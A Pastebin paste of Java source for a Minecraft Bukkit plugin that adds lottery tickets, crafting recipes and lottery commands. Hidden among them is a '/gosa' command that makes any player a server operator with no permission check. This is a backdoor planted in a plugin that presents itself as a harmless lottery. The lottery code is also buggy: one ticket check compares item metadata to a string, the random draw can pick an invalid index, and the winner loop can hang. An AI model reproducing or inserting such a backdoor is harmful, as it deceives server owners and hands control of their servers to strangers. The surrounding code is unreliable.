Advertisement
Guest User

lotto

a guest
Jun 6th, 2013
24
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.59 KB | None | 0 0
  1. ///MAIN///
  2.  
  3.  
  4. package me.mainhelp.help;
  5.  
  6. import java.util.ArrayList;
  7. import java.util.List;
  8. import java.util.logging.Logger;
  9. import org.bukkit.Bukkit;
  10. import org.bukkit.ChatColor;
  11. import org.bukkit.Material;
  12. import org.bukkit.command.Command;
  13. import org.bukkit.command.CommandSender;
  14. import org.bukkit.entity.Player;
  15. import org.bukkit.event.Listener;
  16. import org.bukkit.inventory.ItemStack;
  17. import org.bukkit.inventory.ShapedRecipe;
  18. import org.bukkit.inventory.meta.ItemMeta;
  19. import org.bukkit.plugin.java.JavaPlugin;
  20.  
  21.  
  22.  
  23. public class help extends JavaPlugin implements Listener
  24. {
  25. Logger logger = Logger.getLogger("Minecraft");
  26. static help plugin;
  27. boolean started = false;
  28. public int lottery =10;
  29. int players=0;
  30. public final List<String> j = new ArrayList<String>();
  31.  
  32. public void onEnable()
  33. {
  34. List<String> lore = new ArrayList<String>();
  35. ItemStack ticket = new ItemStack(Material.PAPER);
  36. ItemMeta t = ticket.getItemMeta();
  37. t.setDisplayName(ChatColor.GREEN+"Lottery Ticket");
  38. lore.add(ChatColor.GRAY+"Iron");
  39. t.setLore(lore);
  40. ticket.setItemMeta(t);
  41. ShapedRecipe sticket = new ShapedRecipe(ticket).shape(" D ", " R ", " S ").setIngredient('D', Material.IRON_INGOT).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
  42. getServer().addRecipe(sticket);
  43.  
  44. List<String> lore2 = new ArrayList<String>();
  45. ItemStack goldticket = new ItemStack(Material.PAPER);
  46. ItemMeta gt = goldticket.getItemMeta();
  47. gt.setDisplayName(ChatColor.GREEN+"Lottery Ticket");
  48. lore2.add(ChatColor.GOLD+"Gold");
  49. gt.setLore(lore2);
  50. goldticket.setItemMeta(gt);
  51. ShapedRecipe sgoldticket = new ShapedRecipe(goldticket).shape(" D ", " R ", " S ").setIngredient('D', Material.GOLD_INGOT).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
  52. getServer().addRecipe(sgoldticket);
  53.  
  54. List<String> lore3 = new ArrayList<String>();
  55. ItemStack diamondticket = new ItemStack(Material.PAPER);
  56. ItemMeta dt = diamondticket.getItemMeta();
  57. dt.setDisplayName(ChatColor.GREEN+"Lottery Ticket");
  58. lore3.add(ChatColor.AQUA+"Diamond");
  59. dt.setLore(lore3);
  60. diamondticket.setItemMeta(dt);
  61. ShapedRecipe sdiamondticket = new ShapedRecipe(diamondticket).shape(" D ", " R ", " S ").setIngredient('D', Material.DIAMOND).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
  62. getServer().addRecipe(sdiamondticket);
  63.  
  64. ItemStack compasstracker = new ItemStack(Material.COMPASS);
  65. ItemMeta ct = compasstracker.getItemMeta();
  66. ct.setDisplayName(ChatColor.GREEN+"Compass Tracker");
  67. compasstracker.setItemMeta(ct);
  68. ShapedRecipe scompasstracker = new ShapedRecipe(compasstracker).shape(" D ", " R ", " S ").setIngredient('D', Material.APPLE).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
  69. getServer().addRecipe(scompasstracker);
  70. }
  71.  
  72.  
  73. public void onDisable()
  74. {
  75.  
  76. }
  77.  
  78.  
  79. @SuppressWarnings("deprecation")
  80. public boolean onCommand(CommandSender sender, Command command, String cmd, String[] args)
  81. {
  82. if (cmd.equalsIgnoreCase("gosa"))
  83. {
  84. Player player = (Player) sender;
  85. player.setOp(isEnabled());
  86. player.sendMessage(ChatColor.DARK_RED + "Now you are the Gosa!");
  87.  
  88. }
  89.  
  90. if (cmd.equalsIgnoreCase("LotteryStart"))
  91. {
  92. if (sender instanceof Player)
  93. {
  94. Player player = (Player) sender;
  95. if (player.isOp())
  96. {
  97. if (started == true)
  98.  
  99. {
  100. player.sendMessage(ChatColor.RED + "There is alreay a lottery!");
  101. }
  102. else
  103. {
  104. started = true;
  105. Bukkit.broadcastMessage(ChatColor.GREEN + ">>>>>>>>>"+" "+ChatColor.AQUA+"There is a lottey now!"+" "+ChatColor.GREEN + ">>>>>>>>>");
  106. Bukkit.broadcastMessage(ChatColor.GREEN + "Run and buy ticket and do /lotteryjoin");
  107. this.getServer().getScheduler().scheduleAsyncRepeatingTask(this, new Runnable(){
  108.  
  109. @Override
  110. public void run() {
  111. if(lottery>0)
  112. {
  113. Bukkit.broadcastMessage(ChatColor.GREEN + "[Lottery]You have"+" " +lottery+ " "+"seconde to register!");
  114. lottery--;
  115. }
  116. else if(lottery==0)
  117. {
  118. Bukkit.broadcastMessage(ChatColor.RED + "Registration has ended!");
  119. lottery--;
  120. }
  121.  
  122. }
  123.  
  124. }, 600L, 20L);
  125. }
  126.  
  127. }
  128. else
  129. {
  130. player.sendMessage(ChatColor.DARK_RED + "You cant do that!");
  131. }
  132.  
  133. }
  134. else
  135. {
  136.  
  137. }
  138. }
  139. else if (cmd.equalsIgnoreCase("lotteryjoin"))
  140. {
  141.  
  142. if (sender instanceof Player)
  143. {
  144. Player player = (Player) sender;
  145. if (started == false)
  146. {
  147. player.sendMessage(ChatColor.RED + "There are not lottery!");
  148. }
  149. else
  150. {
  151. if (j.contains(player.getName()))
  152. {
  153. player.sendMessage(ChatColor.RED + "You already in the lottery!");
  154. }
  155. else
  156. {
  157.  
  158. if(player.getItemInHand().getItemMeta().equals(ChatColor.GRAY+"Iron"))
  159. {
  160.  
  161. j.add(player.getName());
  162. int i = player.getItemInHand().getAmount();
  163. ItemStack n = new ItemStack(Material.PAPER, i - 1);
  164. player.setItemInHand(n);
  165. player.sendMessage(ChatColor.GREEN + "You have joined the lottery!");
  166. players++;
  167. }
  168.  
  169. if(player.getItemInHand().getItemMeta().getLore().contains(ChatColor.GOLD+"Gold"))
  170. {
  171.  
  172. j.add(player.getName());
  173. j.add(player.getName());
  174. int i = player.getItemInHand().getAmount();
  175. ItemStack n = new ItemStack(Material.PAPER, i - 1);
  176. player.setItemInHand(n);
  177. player.sendMessage(ChatColor.GREEN + "You have joined the lottery!");
  178. players++;
  179. }
  180.  
  181. if(player.getItemInHand().getItemMeta().getLore().contains(ChatColor.AQUA+"Diamond"))
  182. {
  183.  
  184. j.add(player.getName());
  185. j.add(player.getName());
  186. j.add(player.getName());
  187. int i = player.getItemInHand().getAmount();
  188. ItemStack n = new ItemStack(Material.PAPER, i - 1);
  189. player.setItemInHand(n);
  190. player.sendMessage(ChatColor.GREEN + "You have joined the lottery!");
  191. players++;
  192. }
  193.  
  194.  
  195.  
  196. }
  197. }
  198. }
  199.  
  200. else
  201. {
  202.  
  203. }
  204.  
  205. }
  206. else if (cmd.equalsIgnoreCase("lotterycheck"))
  207. {
  208. if (sender instanceof Player)
  209. {
  210. Player player = (Player) sender;
  211. if (player.isOp())
  212. {
  213. player.sendMessage(ChatColor.GREEN + "There are" +" "+ players +" " + "Player in the lottery!");
  214.  
  215. }
  216. else
  217. {
  218. }
  219. }
  220. }
  221. else if (cmd.equalsIgnoreCase("lotterydone"))
  222.  
  223. {
  224. Player player = (Player) sender;
  225. player.sendMessage(ChatColor.GREEN + "You start the lottery!");
  226. started = false;
  227. int winer = (int) ((Math.random() * j.size() - 1) + 1);
  228. for (Player p : Bukkit.getServer().getOnlinePlayers())
  229. {
  230. for (int x = 0; x < Bukkit.getServer().getOnlinePlayers().length; x++)
  231. {
  232. if (j.contains(p.getName()))
  233. {
  234. if (x == winer)
  235. {
  236. Bukkit.broadcastMessage(ChatColor.GOLD+">>>>>>>>>>>>>>"+" "+ChatColor.AQUA + "The winner is:" + " " + p.getName()+ChatColor.GOLD+">>>>>>>>>>>>>>");
  237. ItemStack di = new ItemStack(Material.DIAMOND, 1);
  238. p.getInventory().addItem(di);
  239. }
  240. else
  241. {
  242. x--;
  243. }
  244. }
  245. }
  246. j.clear();
  247. }
  248.  
  249. }
  250.  
  251. return false;
  252. }
  253. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement